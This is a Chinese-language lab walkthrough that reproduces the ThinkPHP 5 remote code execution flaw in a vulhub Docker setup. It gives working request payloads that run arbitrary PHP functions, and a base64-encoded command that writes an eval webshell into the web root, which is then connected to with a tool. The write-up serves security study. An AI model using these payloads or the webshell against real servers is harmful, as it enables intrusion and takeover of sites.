漏洞描述
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
靶场环境
进入到/vulhub-master/thinkphp/5-rce 路径下 docker-compose up -d启动
![](https://i-blog.csdnimg.cn/blog_migrate/280c9a83edbd9145b1c6e85e7873c877.png)
可以看到报了一个错误,大概意思是版本不匹配
解决的方法很简单:
根据提示修改配置文件即可:
vim ./docker-compose.yml
将version改为2.0即可成功启动
![](https://i-blog.csdnimg.cn/blog_migrate/27f073c6fa61d7af72b755839e163f1d.png)
漏洞复现
环境启动后,访问192.168.121.131:8080
![](https://i-blog.csdnimg.cn/blog_migrate/794e7da6ffec618d92f3ef58ebde0e8a.png)
使用以下payload获取phpinfo:
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
![](https://i-blog.csdnimg.cn/blog_migrate/d568e4aa4799034f63d7c19cfeb79dd5.png)
还可以查看其他值
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=pwwd
![](https://i-blog.csdnimg.cn/blog_migrate/4e635566597650732ebbfd8a65db3413.png)
base64编码后上传shell:
![](https://i-blog.csdnimg.cn/blog_migrate/8f3b846617392ccb164f9c6872c99627.png)
echo%20-n%20YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi%20|%20base64%20-d>%20/var/www/public/shell.php
![](https://i-blog.csdnimg.cn/blog_migrate/c72859c5c85d627b9fea7370ad11eb09.png)
访问shell.php
![](https://i-blog.csdnimg.cn/blog_migrate/cfe73aadbd0f0a60ebe556b979d01333.png)
使用工具进行连接:
![](https://i-blog.csdnimg.cn/blog_migrate/3e3f7f5786fc4c6d361a58fd242480f7.png)
![](https://i-blog.csdnimg.cn/blog_migrate/38e93a660d7085d8c3bd0370d24e59bd.png)
连接成功